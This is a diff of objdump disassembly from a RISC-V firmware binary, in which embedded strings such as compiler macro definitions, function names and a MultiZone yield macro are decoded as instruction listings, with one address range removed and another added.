-    218a:	3536                	fld	fa0,360(sp)
-    218c:	3434                	fld	fa3,104(s0)
-    218e:	3731                	jal	209a <__stack_size+0x189a>
-    2190:	3536                	fld	fa0,360(sp)
-    2192:	3836                	fld	fa6,360(sp)
-    2194:	38323937          	lui	s2,0x38323
-    2198:	3836                	fld	fa6,360(sp)
-    219a:	3232                	fld	ft4,296(sp)
-    219c:	3331                	jal	1ea8 <__stack_size+0x16a8>
-    219e:	2d653237          	lui	tp,0x2d653
-    21a2:	46343233          	0x46343233
-    21a6:	00783233          	sltu	tp,a6,t2
-    21aa:	5f5f 4c46 5f54      	0x5f544c465f5f
-    21b0:	494d                	li	s2,19
-    21b2:	5f4e                	lw	t5,240(sp)
-    21b4:	3031                	jal	19c0 <__stack_size+0x11c0>
-    21b6:	455f 5058 5f5f      	0x5f5f5058455f
-    21bc:	2820                	fld	fs0,80(s0)
-    21be:	332d                	jal	1ee8 <__stack_size+0x16e8>
-    21c0:	5f002937          	lui	s2,0x5f002
-    21c4:	505f4353          	0x505f4353
-    21c8:	5948                	lw	a0,52(a0)
-    21ca:	41505f53          	0x41505f53
-    21ce:	20534547          	fmsub.s	fa0,ft6,ft5,ft4,rmm
-    21d2:	3131                	jal	1dde <__stack_size+0x15de>
-    21d4:	5f00                	lw	s0,56(a4)
-    21d6:	465f 544c 3233      	0x3233544c465f
-    21dc:	5f58                	lw	a4,60(a4)
-    21de:	4944                	lw	s1,20(a0)
-    21e0:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    21e4:	3531                	jal	1ff0 <__stack_size+0x17f0>
-    21e6:	5f00                	lw	s0,56(a4)
-    21e8:	4350                	lw	a2,4(a4)
-    21ea:	465f 4c49 5345      	0x53454c49465f
-    21f0:	5a49                	li	s4,-14
-    21f2:	4245                	li	tp,17
-    21f4:	5449                	li	s0,-14
-    21f6:	32312053          	0x32312053
-    21fa:	4900                	lw	s0,16(a0)
-    21fc:	544e                	lw	s0,240(sp)
-    21fe:	4c5f 4145 5453      	0x545341454c5f
-    2204:	3436                	fld	fs0,360(sp)
-    2206:	4d5f 5841 5f20      	0x5f2058414d5f
-    220c:	495f 544e 4c5f      	0x4c5f544e495f
-    2212:	4145                	li	sp,17
-    2214:	34365453          	0x34365453
-    2218:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    221e:	4300                	lw	s0,0(a4)
-    2220:	4148                	lw	a0,4(a0)
-    2222:	5f52                	lw	t5,52(sp)
-    2224:	4942                	lw	s2,16(sp)
-    2226:	2054                	fld	fa3,128(s0)
-    2228:	5f5f 4843 5241      	0x524148435f5f
-    222e:	425f 5449 5f5f      	0x5f5f5449425f
-    2234:	5f00                	lw	s0,56(a4)
-    2236:	445f 4c42 4d5f      	0x4d5f4c42445f
-    223c:	4e41                	li	t3,16
-    223e:	5f54                	lw	a3,60(a4)
-    2240:	4944                	lw	s1,20(a0)
-    2242:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    2246:	3335                	jal	1f72 <__stack_size+0x1772>
-    2248:	5f00                	lw	s0,56(a4)
-    224a:	475f 554e 4c43      	0x4c43554e475f
-    2250:	4b49                	li	s6,18
-    2252:	5f45                	li	t5,-15
-    2254:	5341                	li	t1,-16
-    2256:	204d                	jal	22f8 <__stack_size+0x1af8>
-    2258:	5f5f0033          	0x5f5f0033
-    225c:	20445253          	0x20445253
-    2260:	7830                	flw	fa2,112(s0)
-    2262:	3030                	fld	fa2,96(s0)
-    2264:	3430                	fld	fa2,104(s0)
-    2266:	5f00                	lw	s0,56(a4)
-    2268:	505f 5254 4944      	0x49445254505f
-    226e:	4646                	lw	a2,80(sp)
-    2270:	575f 4449 4854      	0x48544449575f
-    2276:	5f5f 3320 0032      	0x3233205f5f
-    227c:	69727073          	csrci	0x697,4
-    2280:	746e                	flw	fs0,248(sp)
-    2282:	0066                	c.slli	zero,0x19
-    2284:	736d                	lui	t1,0xffffb
-    2286:	61685f67          	0x61685f67
-    228a:	646e                	flw	fs0,216(sp)
-    228c:	656c                	flw	fa1,76(a0)
-    228e:	0072                	c.slli	zero,0x1c
-    2290:	555f 4e49 3854      	0x38544e49555f
-    2296:	545f 445f 4345      	0x4345445f545f
-    229c:	414c                	lw	a1,4(a0)
-    229e:	4552                	lw	a0,20(sp)
-    22a0:	2044                	fld	fs1,128(s0)
-    22a2:	5f00                	lw	s0,56(a4)
-    22a4:	495f 544e 575f      	0x575f544e495f
-    22aa:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    22ae:	545f 485f 0020      	0x20485f545f
-    22b4:	535f 5f43 5f32      	0x5f325f43535f
-    22ba:	4250                	lw	a2,4(a2)
-    22bc:	52545f53          	0x52545f53
-    22c0:	4341                	li	t1,16
-    22c2:	3131204b          	fnmsub.s	ft0,ft2,fs3,ft6,rdn
-    22c6:	0038                	addi	a4,sp,8
-    22c8:	6574                	flw	fa3,76(a0)
-    22ca:	706d                	c.lui	zero,0xffffb
-    22cc:	5f00                	lw	s0,56(a4)
-    22ce:	525f4353          	0x525f4353
-    22d2:	4145                	li	sp,17
-    22d4:	4544                	lw	s1,12(a0)
-    22d6:	5f52                	lw	t5,52(sp)
-    22d8:	54495257          	0x54495257
-    22dc:	5245                	li	tp,-15
-    22de:	4c5f 434f 534b      	0x534b434f4c5f
-    22e4:	3720                	fld	fs0,104(a4)
-    22e6:	0031                	c.nop	12
-    22e8:	505f 534f 5849      	0x5849534f505f
-    22ee:	535f 554f 4352      	0x4352554f535f
-    22f4:	0045                	c.nop	17
-    22f6:	4450                	lw	a2,12(s0)
-    22f8:	5f50                	lw	a2,60(a4)
-    22fa:	4e45                	li	t3,17
-    22fc:	4944                	lw	s1,20(a0)
-    22fe:	4e41                	li	t3,16
-    2300:	5f20                	lw	s0,120(a4)
-    2302:	4450                	lw	a2,12(s0)
-    2304:	5f50                	lw	a2,60(a4)
-    2306:	4e45                	li	t3,17
-    2308:	4944                	lw	s1,20(a0)
-    230a:	4e41                	li	t3,16
-    230c:	5f00                	lw	s0,56(a4)
-    230e:	735f 7a69 5f65      	0x5f657a69735f
-    2314:	2074                	fld	fa3,192(s0)
-    2316:	5f00                	lw	s0,56(a4)
-    2318:	575f 4e49 5f54      	0x5f544e49575f
-    231e:	414d                	li	sp,19
-    2320:	5f58                	lw	a4,60(a4)
-    2322:	205f 7830 6666      	0x66667830205f
-    2328:	6666                	flw	fa2,88(sp)
-    232a:	6666                	flw	fa2,88(sp)
-    232c:	6666                	flw	fa2,88(sp)
-    232e:	0055                	c.nop	21
-    2330:	535f 5f43 454c      	0x454c5f43535f
-    2336:	4556                	lw	a0,84(sp)
-    2338:	324c                	fld	fa1,160(a2)
-    233a:	435f 4341 4548      	0x45484341435f
-    2340:	4c5f 4e49 5345      	0x53454e494c5f
-    2346:	5a49                	li	s4,-14
-    2348:	2045                	jal	23e8 <__stack_size+0x1be8>
-    234a:	3331                	jal	2056 <__stack_size+0x1856>
-    234c:	5f5f0033          	0x5f5f0033
-    2350:	4c46                	lw	s8,80(sp)
-    2352:	5f54                	lw	a3,60(a4)
-    2354:	5045                	c.li	zero,-15
-    2356:	4f4c4953          	0x4f4c4953
-    235a:	5f4e                	lw	t5,240(sp)
-    235c:	205f 2e31 3931      	0x39312e31205f
-    2362:	3032                	fld	ft0,296(sp)
-    2364:	3239                	jal	1c72 <__stack_size+0x1472>
-    2366:	3938                	fld	fa4,112(a0)
-    2368:	3535                	jal	2194 <__stack_size+0x1994>
-    236a:	3730                	fld	fa2,104(a4)
-    236c:	3138                	fld	fa4,96(a0)
-    236e:	3532                	fld	fa0,296(sp)
-    2370:	3030                	fld	fa2,96(s0)
-    2372:	3030                	fld	fa2,96(s0)
-    2374:	3030                	fld	fa2,96(s0)
-    2376:	3030                	fld	fa2,96(s0)
-    2378:	3030                	fld	fa2,96(s0)
-    237a:	3030                	fld	fa2,96(s0)
-    237c:	3030                	fld	fa2,96(s0)
-    237e:	3030                	fld	fa2,96(s0)
-    2380:	3030                	fld	fa2,96(s0)
-    2382:	6530                	flw	fa2,72(a0)
-    2384:	372d                	jal	22ae <__stack_size+0x1aae>
-    2386:	0046                	c.slli	zero,0x11
-    2388:	6f5a                	flw	ft10,148(sp)
-    238a:	656e                	flw	fa0,216(sp)
-    238c:	5f00                	lw	s0,56(a4)
-    238e:	545f4353          	0x545f4353
-    2392:	5248                	lw	a0,36(a2)
-    2394:	4145                	li	sp,17
-    2396:	5f44                	lw	s1,60(a4)
-    2398:	54555043          	0x54555043
-    239c:	4d49                	li	s10,18
-    239e:	2045                	jal	243e <__stack_size+0x1c3e>
-    23a0:	3038                	fld	fa4,96(s0)
-    23a2:	4700                	lw	s0,8(a4)
-    23a4:	4950                	lw	a2,20(a0)
-    23a6:	554f5f4f          	0x554f5f4f
-    23aa:	5054                	lw	a3,36(s0)
-    23ac:	5455                	li	s0,-11
-    23ae:	565f 4c41 3020      	0x30204c41565f
-    23b4:	3078                	fld	fa4,224(s0)
-    23b6:	49550043          	fmadd.s	ft0,fa0,fs5,fs1,rne
-    23ba:	544e                	lw	s0,240(sp)
-    23bc:	5450                	lw	a2,44(s0)
-    23be:	5f52                	lw	t5,52(sp)
-    23c0:	414d                	li	sp,19
-    23c2:	0058                	addi	a4,sp,4
-    23c4:	5f46                	lw	t5,112(sp)
-    23c6:	4554                	lw	a3,12(a0)
-    23c8:	33205453          	0x33205453
-    23cc:	5f00                	lw	s0,56(a4)
-    23ce:	545f4353          	0x545f4353
-    23d2:	5248                	lw	a0,36(a2)
-    23d4:	4145                	li	sp,17
-    23d6:	5344                	lw	s1,36(a4)
-    23d8:	3420                	fld	fs0,104(s0)
-    23da:	0032                	c.slli	zero,0xc
-    23dc:	4e49                	li	t3,18
-    23de:	3354                	fld	fa3,160(a4)
-    23e0:	5f32                	lw	t5,44(sp)
-    23e2:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    23e6:	5f20                	lw	s0,120(a4)
-    23e8:	495f 544e 3233      	0x3233544e495f
-    23ee:	435f 6328 0029      	0x296328435f
-    23f4:	5f5f 4c46 3654      	0x36544c465f5f
-    23fa:	5834                	lw	a3,112(s0)
-    23fc:	4d5f 4e49 315f      	0x315f4e494d5f
-    2402:	5f30                	lw	a2,120(a4)
-    2404:	5845                	li	a6,-15
-    2406:	5f50                	lw	a2,60(a4)
-    2408:	205f 2d28 3934      	0x39342d28205f
-    240e:	00293133          	sltu	sp,s2,sp
-    2412:	4e49                	li	t3,18
-    2414:	5f54                	lw	a3,60(a4)
-    2416:	454c                	lw	a1,12(a0)
-    2418:	5341                	li	t1,-16
-    241a:	3354                	fld	fa3,160(a4)
-    241c:	5f32                	lw	t5,44(sp)
-    241e:	494d                	li	s2,19
-    2420:	004e                	c.slli	zero,0x13
-    2422:	465f 4f4e 424e      	0x424e4f4e465f
-    2428:	4f4c                	lw	a1,28(a4)
-    242a:	30204b43          	fmadd.s	fs6,ft0,ft2,ft6,rmm
-    242e:	3478                	fld	fa4,232(s0)
+    1d86:	2029                	jal	1d90 <__stack_size+0x1590>
+    1d88:	5a4d                	li	s4,-13
+    1d8a:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    1d8e:	4959                	li	s2,22
+    1d90:	4c45                	li	s8,17
+    1d92:	2844                	fld	fs1,144(s0)
+    1d94:	3b29                	jal	1aae <__stack_size+0x12ae>
+    1d96:	7d20                	flw	fs0,120(a0)
+    1d98:	6620                	flw	fs0,72(a2)
+    1d9a:	6572                	flw	fa0,28(sp)
+    1d9c:	2865                	jal	1e54 <__stack_size+0x1654>
+    1d9e:	29727473          	csrrci	s0,0x297,4
+    1da2:	207d203b          	0x207d203b
+    1da6:	007d                	c.nop	31
+    1da8:	5f5f 4544 5551      	0x555145445f5f
+    1dae:	4c41                	li	s8,16
+    1db0:	4649                	li	a2,18
+    1db2:	2859                	jal	1e48 <__stack_size+0x1648>
+    1db4:	7974                	flw	fa3,116(a0)
+    1db6:	6570                	flw	fa2,76(a0)
+    1db8:	762c                	flw	fa1,104(a2)
+    1dba:	7261                	lui	tp,0xffff8
+    1dbc:	2029                	jal	1dc6 <__stack_size+0x15c6>
+    1dbe:	2828                	fld	fa0,80(s0)
+    1dc0:	7974                	flw	fa3,116(a0)
+    1dc2:	6570                	flw	fa2,76(a0)
+    1dc4:	2829                	jal	1dde <__stack_size+0x15de>
+    1dc6:	5f5f 6975 746e      	0x746e69755f5f
+    1dcc:	7470                	flw	fa2,108(s0)
+    1dce:	5f72                	lw	t5,60(sp)
+    1dd0:	2974                	fld	fa3,208(a0)
+    1dd2:	6328                	flw	fa0,64(a4)
+    1dd4:	74736e6f          	jal	t3,38d1a <__stack_size+0x3851a>
+    1dd8:	7620                	flw	fs0,104(a2)
+    1dda:	74616c6f          	jal	s8,18520 <__stack_size+0x17d20>
+    1dde:	6c69                	lui	s8,0x1a
+    1de0:	2065                	jal	1e88 <__stack_size+0x1688>
+    1de2:	6f76                	flw	ft10,92(sp)
+    1de4:	6469                	lui	s0,0x1a
+    1de6:	2a20                	fld	fs0,80(a2)
+    1de8:	2829                	jal	1e02 <__stack_size+0x1602>
+    1dea:	6176                	flw	ft2,92(sp)
+    1dec:	2972                	fld	fs2,280(sp)
+    1dee:	0029                	c.nop	10
+    1df0:	5f5f 6168 5f73      	0x5f7361685f5f
+    1df6:	6566                	flw	fa0,88(sp)
+    1df8:	7461                	lui	s0,0xffff8
+    1dfa:	7275                	lui	tp,0xffffd
+    1dfc:	2865                	jal	1eb4 <__stack_size+0x16b4>
+    1dfe:	2978                	fld	fa4,208(a0)
+    1e00:	3020                	fld	fs0,96(s0)
+    1e02:	5f00                	lw	s0,56(a4)
+    1e04:	545f4353          	0x545f4353
+    1e08:	4d49                	li	s10,18
+    1e0a:	5245                	li	tp,-15
+    1e0c:	4d5f 5841 3120      	0x312058414d5f
+    1e12:	0039                	c.nop	14
+    1e14:	525f 4545 544e      	0x544e4545525f
+    1e1a:	455f 454d 4752      	0x4752454d455f
+    1e20:	4e45                	li	t3,17
+    1e22:	535f5943          	fmadd.d	fs2,ft10,fs5,fa0,unknown
+    1e26:	5a49                	li	s4,-14
+    1e28:	2045                	jal	1ec8 <__stack_size+0x16c8>
+    1e2a:	3532                	fld	fa0,296(sp)
+    1e2c:	5f00                	lw	s0,56(a4)
+    1e2e:	475f 4343 495f      	0x495f4343475f
+    1e34:	4345                	li	t1,17
+    1e36:	355f 3935 435f      	0x435f3935355f
+    1e3c:	4c504d4f          	0x4c504d4f
+    1e40:	5845                	li	a6,-15
+    1e42:	3020                	fld	fs0,96(s0)
+    1e44:	5500                	lw	s0,40(a0)
+    1e46:	4e49                	li	t3,18
+    1e48:	3654                	fld	fa3,168(a2)
+    1e4a:	5f34                	lw	a3,120(a4)
+    1e4c:	525f0043          	fmadd.d	ft0,ft10,ft5,fa0,rne
+    1e50:	4545                	li	a0,17
+    1e52:	544e                	lw	s0,240(sp)
+    1e54:	4d5f 5f50 4552      	0x45525f504d5f
+    1e5a:	544c5553          	0x544c5553
+    1e5e:	4b5f 7028 7274      	0x727470284b5f
+    1e64:	2029                	jal	1e6e <__stack_size+0x166e>
+    1e66:	2828                	fld	fa0,80(s0)
+    1e68:	7470                	flw	fa2,108(s0)
+    1e6a:	2972                	fld	fs2,280(sp)
+    1e6c:	3e2d                	jal	19a6 <__stack_size+0x11a6>
+    1e6e:	725f 7365 6c75      	0x6c757365725f
+    1e74:	5f74                	lw	a3,124(a4)
+    1e76:	5f00296b          	0x5f00296b
+    1e7a:	455f4353          	0x455f4353
+    1e7e:	5058                	lw	a4,36(s0)
+    1e80:	5f52                	lw	t5,52(sp)
+    1e82:	454e                	lw	a0,208(sp)
+    1e84:	4d5f5453          	0x4d5f5453
+    1e88:	5841                	li	a6,-16
+    1e8a:	3620                	fld	fs0,104(a2)
+    1e8c:	0034                	addi	a3,sp,8
+    1e8e:	465f 4253 4b4c      	0x4b4c4253465f
+    1e94:	5f544e43          	fmadd.q	ft8,fs0,fs5,fa1,rmm
+    1e98:	5f54                	lw	a3,60(a4)
+    1e9a:	4544                	lw	s1,12(a0)
+    1e9c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    1ea0:	4445                	li	s0,17
+    1ea2:	0020                	addi	s0,sp,8
+    1ea4:	465f 5953 434e      	0x434e5953465f
+    1eaa:	3020                	fld	fs0,96(s0)
+    1eac:	3278                	fld	fa4,224(a2)
+    1eae:	3030                	fld	fa2,96(s0)
+    1eb0:	0030                	addi	a2,sp,8
+    1eb2:	5f5f 5355 5245      	0x524553555f5f
+    1eb8:	4c5f 4241 4c45      	0x4c4542414c5f
+    1ebe:	505f 4552 4946      	0x49464552505f
+    1ec4:	5f58                	lw	a4,60(a4)
+    1ec6:	205f 5500 4c4c      	0x4c4c5500205f
+    1ecc:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    1ed0:	414d                	li	sp,19
+    1ed2:	0058                	addi	a4,sp,4
+    1ed4:	5f5f 7461 7274      	0x727474615f5f
+    1eda:	6269                	lui	tp,0x1a
+    1edc:	7475                	lui	s0,0xffffd
+    1ede:	5f65                	li	t5,-7
+    1ee0:	616d                	addi	sp,sp,240
+    1ee2:	6c6c                	flw	fa1,92(s0)
+    1ee4:	5f5f636f          	jal	t1,f8cd8 <__stack_size+0xf84d8>
+    1ee8:	0020                	addi	s0,sp,8
+    1eea:	535f 5a49 5f45      	0x5f455a49535f
+    1ef0:	5f54                	lw	a3,60(a4)
+    1ef2:	4544                	lw	s1,12(a0)
+    1ef4:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    1ef8:	4445                	li	s0,17
+    1efa:	0020                	addi	s0,sp,8
+    1efc:	475f 4343 575f      	0x575f4343475f
+    1f02:	4152                	lw	sp,20(sp)
+    1f04:	5f50                	lw	a2,60(a4)
+    1f06:	49445453          	0x49445453
+    1f0a:	544e                	lw	s0,240(sp)
+    1f0c:	485f 0020 525f      	0x525f0020485f
+    1f12:	4545                	li	a0,17
+    1f14:	544e                	lw	s0,240(sp)
+    1f16:	545f 284d 7470      	0x7470284d545f
+    1f1c:	2972                	fld	fs2,280(sp)
+    1f1e:	2820                	fld	fs0,80(s0)
+    1f20:	2826                	fld	fa6,72(sp)
+    1f22:	7470                	flw	fa2,108(s0)
+    1f24:	2972                	fld	fs2,280(sp)
+    1f26:	3e2d                	jal	1a60 <__stack_size+0x1260>
+    1f28:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    1f2e:	6572                	flw	fa0,28(sp)
+    1f30:	6e65                	lui	t3,0x19
+    1f32:	2e74                	fld	fa3,216(a2)
+    1f34:	6c5f 636f 6c61      	0x6c61636f6c5f
+    1f3a:	6974                	flw	fa3,84(a0)
+    1f3c:	656d                	lui	a0,0x1b
+    1f3e:	625f 6675 0029      	0x296675625f
+    1f44:	4e49                	li	t3,18
+    1f46:	3654                	fld	fa3,168(a2)
+    1f48:	5f34                	lw	a3,120(a4)
+    1f4a:	414d                	li	sp,19
+    1f4c:	2058                	fld	fa4,128(s0)
+    1f4e:	5f5f 4e49 3654      	0x36544e495f5f
+    1f54:	5f34                	lw	a3,120(a4)
+    1f56:	414d                	li	sp,19
+    1f58:	5f58                	lw	a4,60(a4)
+    1f5a:	005f 425f 4745      	0x4745425f005f
+    1f60:	4e49                	li	t3,18
+    1f62:	535f 4454 435f      	0x435f4454535f
+    1f68:	0020                	addi	s0,sp,8
+    1f6a:	5f50                	lw	a2,60(a4)
+    1f6c:	6d74                	flw	fa3,92(a0)
+    1f6e:	6470                	flw	fa2,76(s0)
+    1f70:	7269                	lui	tp,0xffffa
+    1f72:	2220                	fld	fs0,64(a2)
+    1f74:	706d742f          	0x706d742f
+    1f78:	0022                	c.slli	zero,0x8
+    1f7a:	4955                	li	s2,21
+    1f7c:	544e                	lw	s0,240(sp)
+    1f7e:	4c5f 4145 5453      	0x545341454c5f
+    1f84:	3436                	fld	fs0,360(sp)
+    1f86:	4d5f 5841 5f00      	0x5f0058414d5f
+    1f8c:	585f4353          	0x585f4353
+    1f90:	5342                	lw	t1,48(sp)
+    1f92:	5f35                	li	t5,-19
+    1f94:	4c49                	li	s8,18
+    1f96:	3350                	fld	fa2,160(a4)
+    1f98:	5f32                	lw	t5,44(sp)
+    1f9a:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
+    1f9e:	4749                	li	a4,18
+    1fa0:	5f20                	lw	s0,120(a4)
+    1fa2:	565f4353          	0x565f4353
+    1fa6:	4c495f37          	lui	t5,0x4c495
+    1faa:	3350                	fld	fa2,160(a4)
+    1fac:	5f32                	lw	t5,44(sp)
+    1fae:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
+    1fb2:	4749                	li	a4,18
+    1fb4:	5f00                	lw	s0,56(a4)
+    1fb6:	445f 4345 4e4f      	0x4e4f4345445f
+    1fbc:	74285453          	0x74285453
+    1fc0:	7079                	c.lui	zero,0xffffe
+    1fc2:	2c65                	jal	227a <__stack_size+0x1a7a>
+    1fc4:	6176                	flw	ft2,92(sp)
+    1fc6:	2972                	fld	fs2,280(sp)
+    1fc8:	2820                	fld	fs0,80(s0)
+    1fca:	7428                	flw	fa0,104(s0)
+    1fcc:	7079                	c.lui	zero,0xffffe
+    1fce:	2965                	jal	2486 <__stack_size+0x1c86>
+    1fd0:	5f28                	lw	a0,120(a4)
+    1fd2:	755f 6e69 7074      	0x70746e69755f
+    1fd8:	7274                	flw	fa3,100(a2)
+    1fda:	745f 2829 6f63      	0x6f632829745f
+    1fe0:	736e                	flw	ft6,248(sp)
+    1fe2:	2074                	fld	fa3,192(s0)
+    1fe4:	6f76                	flw	ft10,92(sp)
+    1fe6:	6469                	lui	s0,0x1a
+    1fe8:	2a20                	fld	fs0,80(a2)
+    1fea:	2829                	jal	2004 <__stack_size+0x1804>
+    1fec:	6176                	flw	ft2,92(sp)
+    1fee:	2972                	fld	fs2,280(sp)
+    1ff0:	0029                	c.nop	10
+    1ff2:	53495f53          	0x53495f53
+    1ff6:	4e4c                	lw	a1,28(a2)
+    1ff8:	296d284b          	fnmsub.s	fa6,fs10,fs6,ft5,rdn
+    1ffc:	2820                	fld	fs0,80(s0)
+    1ffe:	2828                	fld	fa0,80(s0)
+    2000:	296d                	jal	24ba <__stack_size+0x1cba>
+    2002:	5f26                	lw	t5,104(sp)
+    2004:	4649                	li	a2,18
+    2006:	544d                	li	s0,-13
+    2008:	2029                	jal	2012 <__stack_size+0x1812>
+    200a:	3d3d                	jal	1e48 <__stack_size+0x1648>
+    200c:	5f20                	lw	s0,120(a4)
+    200e:	4649                	li	a2,18
+    2010:	4e4c                	lw	a1,28(a2)
+    2012:	6300294b          	fnmsub.d	fs2,ft0,fa6,fa2,rdn
+    2016:	656c                	flw	fa1,76(a0)
+    2018:	7261                	lui	tp,0xffff8
+    201a:	7265                	lui	tp,0xffff9
+    201c:	5f72                	lw	t5,60(sp)
+    201e:	6e75                	lui	t3,0x1d
+    2020:	6f6c                	flw	fa1,92(a4)
+    2022:	64656b63          	bltu	a0,t1,2678 <__stack_size+0x1e78>
+    2026:	7028                	flw	fa0,96(s0)
+    2028:	2029                	jal	2032 <__stack_size+0x1832>
+    202a:	5f5f 6373 656c      	0x656c63735f5f
+    2030:	7261                	lui	tp,0xffff8
+    2032:	7265                	lui	tp,0xffff9
+    2034:	2872                	fld	fa6,280(sp)
+    2036:	2970                	fld	fa2,208(a0)
+    2038:	5f00                	lw	s0,56(a4)
+    203a:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    2040:	6e61                	lui	t3,0x18
+    2042:	6f6e                	flw	ft10,216(sp)
+    2044:	6174                	flw	fa3,68(a0)
+    2046:	6574                	flw	fa3,76(a0)
+    2048:	7828                	flw	fa0,112(s0)
+    204a:	2029                	jal	2054 <__stack_size+0x1854>
+    204c:	5f00                	lw	s0,56(a4)
+    204e:	495f 544e 465f      	0x465f544e495f
+    2054:	5341                	li	t1,-16
+    2056:	3854                	fld	fa3,176(s0)
+    2058:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    205e:	3020                	fld	fs0,96(s0)
+    2060:	3778                	fld	fa4,232(a4)
+    2062:	6666                	flw	fa2,88(sp)
+    2064:	6666                	flw	fa2,88(sp)
+    2066:	6666                	flw	fa2,88(sp)
+    2068:	0066                	c.slli	zero,0x19
+    206a:	6461                	lui	s0,0x18
+    206c:	696d                	lui	s2,0x1b
+    206e:	5f6e                	lw	t5,248(sp)
+    2070:	616e                	flw	ft2,216(sp)
+    2072:	656d                	lui	a0,0x1b
+    2074:	5500                	lw	s0,40(a0)
+    2076:	5241                	li	tp,-16
+    2078:	5f54                	lw	a3,60(a4)
+    207a:	5854                	lw	a3,52(s0)
+    207c:	4c525443          	0x4c525443
+    2080:	3020                	fld	fs0,96(s0)
+    2082:	3078                	fld	fa4,224(s0)
+    2084:	0038                	addi	a4,sp,8
+    2086:	5f5f 4953 455a      	0x455a49535f5f
+    208c:	4c5f464f          	0x4c5f464f
+    2090:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    2094:	4f44                	lw	s1,28(a4)
+    2096:	4255                	li	tp,21
+    2098:	454c                	lw	a1,12(a0)
+    209a:	5f5f 3120 0036      	0x3631205f5f
+    20a0:	5750                	lw	a2,44(a4)
+    20a2:	5f4d                	li	t5,-13
+    20a4:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    20a8:	4e45                	li	t3,17
+    20aa:	4c41                	li	s8,16
+    20ac:	53594157          	0x53594157
+    20b0:	3020                	fld	fs0,96(s0)
+    20b2:	3078                	fld	fa4,224(s0)
+    20b4:	3030                	fld	fa2,96(s0)
+    20b6:	3130                	fld	fa2,96(a0)
+    20b8:	3030                	fld	fa2,96(s0)
+    20ba:	0030                	addi	a2,sp,8
+    20bc:	5a4d                	li	s4,-13
+    20be:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    20c2:	28494657          	0x28494657
+    20c6:	2029                	jal	20d0 <__stack_size+0x18d0>
+    20c8:	7361                	lui	t1,0xffff8
+    20ca:	206d                	jal	2174 <__stack_size+0x1974>
+    20cc:	6f76                	flw	ft10,92(sp)
+    20ce:	616c                	flw	fa1,68(a0)
+    20d0:	6974                	flw	fa3,84(a0)
+    20d2:	656c                	flw	fa1,76(a0)
+    20d4:	2820                	fld	fs0,80(s0)
+    20d6:	6c22                	flw	fs8,8(sp)
+    20d8:	2069                	jal	2162 <__stack_size+0x1962>
+    20da:	3061                	jal	1962 <__stack_size+0x1162>
+    20dc:	202c                	fld	fa1,64(s0)
+    20de:	3b31                	jal	1dfa <__stack_size+0x15fa>
+    20e0:	2022                	fld	ft0,8(sp)
+    20e2:	7a6d                	lui	s4,0xffffb
+    20e4:	20656e6f          	jal	t3,582ea <__stack_size+0x57aea>
+    20e8:	203a                	fld	ft0,392(sp)
+    20ea:	203a                	fld	ft0,392(sp)
+    20ec:	203a                	fld	ft0,392(sp)
+    20ee:	6122                	flw	ft2,8(sp)
+    20f0:	2230                	fld	fa2,64(a2)
+    20f2:	3b29                	jal	1e0c <__stack_size+0x160c>
+    20f4:	4c00                	lw	s0,24(s0)
+    20f6:	635f 6574 6d72      	0x6d726574635f
+    20fc:	6469                	lui	s0,0x1a
+    20fe:	3120                	fld	fs0,96(a0)
+    2100:	0036                	c.slli	zero,0xd
+    2102:	535f 5f43 5f32      	0x5f325f43535f
+    2108:	45445f43          	0x45445f43
+    210c:	2056                	fld	ft0,336(sp)
+    210e:	3031                	jal	191a <__stack_size+0x111a>
+    2110:	0039                	c.nop	14
+    2112:	494d                	li	s2,19
+    2114:	284e                	fld	fa6,208(sp)
+    2116:	2c61                	jal	23ae <__stack_size+0x1bae>
+    2118:	2962                	fld	fs2,24(sp)
+    211a:	2820                	fld	fs0,80(s0)
+    211c:	2828                	fld	fa0,80(s0)
+    211e:	2961                	jal	25b6 <__stack_size+0x1db6>
+    2120:	283c                	fld	fa5,80(s0)
+    2122:	2962                	fld	fs2,24(sp)
+    2124:	3f29                	jal	203e <__stack_size+0x183e>
+    2126:	6128                	flw	fa0,64(a0)
+    2128:	3a29                	jal	1a42 <__stack_size+0x1242>
+    212a:	6228                	flw	fa0,64(a2)
+    212c:	2929                	jal	2546 <__stack_size+0x1d46>
+    212e:	5f00                	lw	s0,56(a4)
+    2130:	4350                	lw	a2,4(a4)
+    2132:	525f 4345 4d5f      	0x4d5f4345525f
+    2138:	5841                	li	a6,-16
+    213a:	585f 4546 5f52      	0x5f524546585f
+    2140:	455a4953          	0x455a4953
+    2144:	3120                	fld	fs0,96(a0)
+    2146:	5f5f0037          	lui	zero,0x5f5f0
+    214a:	4c46                	lw	s8,80(sp)
+    214c:	3354                	fld	fa3,160(a4)
+    214e:	5f32                	lw	t5,44(sp)
+    2150:	494d                	li	s2,19
+    2152:	5f4e                	lw	t5,240(sp)
+    2154:	5845                	li	a6,-15
+    2156:	5f50                	lw	a2,60(a4)
+    2158:	205f 2d28 3231      	0x32312d28205f
+    215e:	2935                	jal	259a <__stack_size+0x1d9a>
+    2160:	4600                	lw	s0,8(a2)
+    2162:	555f 4f4c 4b43      	0x4b434f4c555f
+    2168:	3020                	fld	fs0,96(s0)
+    216a:	5f00                	lw	s0,56(a4)
+    216c:	525f4353          	0x525f4353
+    2170:	5354                	lw	a3,36(a4)
+    2172:	4749                	li	a4,18
+    2174:	4d5f 5841 3120      	0x312058414d5f
+    217a:	0035                	c.nop	13
+    217c:	535f 5f43 454c      	0x454c5f43535f
+    2182:	4556                	lw	a0,84(sp)
+    2184:	314c                	fld	fa1,160(a0)
+    2186:	495f 4143 4843      	0x48434143495f
